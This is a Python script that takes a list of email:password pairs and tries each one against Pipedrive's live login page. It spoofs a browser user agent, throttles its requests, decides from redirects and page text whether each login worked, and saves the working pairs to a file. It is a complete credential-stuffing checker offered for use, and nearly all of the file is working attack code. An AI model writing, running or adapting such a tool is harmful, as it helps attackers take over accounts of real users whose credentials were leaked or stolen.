#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Verify Working Credentials
Tests credentials from work.txt to confirm they still work
"""

import requests
import re
import time

LOGIN_URL = "https://app.pipedrive.com/auth/login"
INPUT_FILE = "work.txt"
VERIFIED_FILE = "verified.txt"
FAILED_VERIFY_FILE = "failed_verify.txt"
DELAY = 2

def is_valid_email(email):
    """Check if email format is valid"""
    pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
    return re.match(pattern, email) is not None

def test_login(email, password):
    """Test login credentials"""
    session = requests.Session()
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate, br',
        'Connection': 'keep-alive',
        'Upgrade-Insecure-Requests': '1',
    }
    
    try:
        print(f"    [*] Testing: {email}")
        response = session.get(LOGIN_URL, headers=headers, timeout=10)
        
        login_data = {
            'email': email,
            'password': password,
            'remember_me': 'true'
        }
        
        login_response = session.post(
            LOGIN_URL,
            data=login_data,
            headers=headers,
            allow_redirects=True,
            timeout=10
        )
        
        final_url = login_response.url
        response_text = login_response.text.lower()
        
        # Check for error indicators
        error_indicators = [
            'invalid email or password',
            'incorrect email or password',
            'authentication failed',
            'login failed',
            'please log in to continue',
            'email or password is incorrect',
            'wrong password',
            'account not found'
        ]
        
        for error in error_indicators:
            if error in response_text:
                print(f"    [-] FAILED: {error}")
                return False
        
        # Check if still on login page
        if '/auth/login' in final_url or 'login' in final_url:
            if any(word in response_text for word in ['error', 'invalid', 'incorrect', 'wrong']):
                print(f"    [-] FAILED: Still on login page")
                return False
        
        # Check for success indicators
        success_indicators = [
            '/app/',
            '/deals',
            '/dashboard',
            '/contacts',
            '/activities',
            'pipedrive.com/app',
            'main application'
        ]
        
        for indicator in success_indicators:
            if indicator in final_url:
                print(f"    [+] SUCCESS: Redirected to {final_url[:60]}")
                return True
        
        success_content = [
            'deals',
            'contacts',
            'activities',
            'pipeline',
            'dashboard',
            'main-nav',
            'app-container'
        ]
        
        found_success = False
        for indicator in success_content:
            if indicator in response_text:
                found_success = True
                break
        
        if found_success and '/auth/login' not in final_url:
            print(f"    [+] SUCCESS: Found dashboard content")
            return True
        
        if login_response.status_code == 200:
            if '/auth/login' not in final_url and 'pipedrive.com' in final_url:
                print(f"    [+] SUCCESS: Redirected away from login")
                return True
        
        print(f"    [-] FAILED: Could not confirm success")
        return False
        
    except requests.exceptions.RequestException as e:
        print(f"    [!] Error: {str(e)}")
        return False
    except Exception as e:
        print(f"    [!] Unexpected error: {str(e)}")
        return False

def main():
    """Main function"""
    print("=" * 70)
    print("VERIFY WORKING CREDENTIALS")
    print("=" * 70)
    print(f"Input file: {INPUT_FILE}")
    print(f"Verified (still working) → {VERIFIED_FILE}")
    print(f"Failed verification → {FAILED_VERIFY_FILE}")
    print(f"Delay: {DELAY} seconds between requests")
    print("=" * 70)
    print()
    
    # Read credentials from file
    try:
        with open(INPUT_FILE, 'r', encoding='utf-8', errors='ignore') as f:
            lines = f.readlines()
    except FileNotFoundError:
        print(f"[!] Error: File '{INPUT_FILE}' not found!")
        return
    except Exception as e:
        print(f"[!] Error reading file: {str(e)}")
        return
    
    total = len(lines)
    verified = []
    failed_verify = []
    tested = 0
    skipped = 0
    
    print(f"[*] Found {total} credentials in {INPUT_FILE}")
    print(f"[*] Starting verification...\n")
    
    # Test each credential
    for line_num, line in enumerate(lines, 1):
        line = line.strip()
        
        if not line:
            skipped += 1
            continue
        
        # Parse email:password
        if ':' in line:
            parts = line.split(':', 1)
            email = parts[0].strip()
            password = parts[1].strip() if len(parts) > 1 else ''
        else:
            skipped += 1
            print(f"[!] Line {line_num}: Invalid format, skipping")
            continue
        
        if not is_valid_email(email) or not password:
            skipped += 1
            print(f"[!] Line {line_num}: Invalid email or empty password, skipping")
            continue
        
        # Test login
        tested += 1
        print(f"\n[{tested}/{total}] Verifying: {email}")
        result = test_login(email, password)
        
        if result:
            verified.append(f"{email}:{password}")
            print(f"[+] ✓ VERIFIED: {email}:{password} (still working)")
            
            # Save immediately
            with open(VERIFIED_FILE, 'a', encoding='utf-8') as f:
                f.write(f"{email}:{password}\n")
        else:
            failed_verify.append(f"{email}:{password}")
            print(f"[-] ✗ FAILED VERIFICATION: {email}:{password} (no longer works)")
            
            # Save failed immediately
            with open(FAILED_VERIFY_FILE, 'a', encoding='utf-8') as f:
                f.write(f"{email}:{password}\n")
        
        # Progress update
        if tested % 10 == 0:
            print(f"\n[*] Progress: {tested}/{total} tested, {len(verified)} verified, {len(failed_verify)} failed\n")
        
        # Delay between requests
        if tested < total:
            time.sleep(DELAY)
    
    # Final summary
    print("\n" + "=" * 70)
    print("VERIFICATION SUMMARY")
    print("=" * 70)
    print(f"Total credentials: {total}")
    print(f"Tested: {tested}")
    print(f"Skipped: {skipped}")
    print(f"✓ Verified (still working): {len(verified)} → saved to {VERIFIED_FILE}")
    print(f"✗ Failed verification: {len(failed_verify)} → saved to {FAILED_VERIFY_FILE}")
    print("=" * 70)
    
    if len(verified) > 0:
        print(f"\n[+] SUCCESS: {len(verified)} credentials are still working!")
    if len(failed_verify) > 0:
        print(f"[!] WARNING: {len(failed_verify)} credentials no longer work (password changed or account disabled)")

if __name__ == "__main__":
    main()

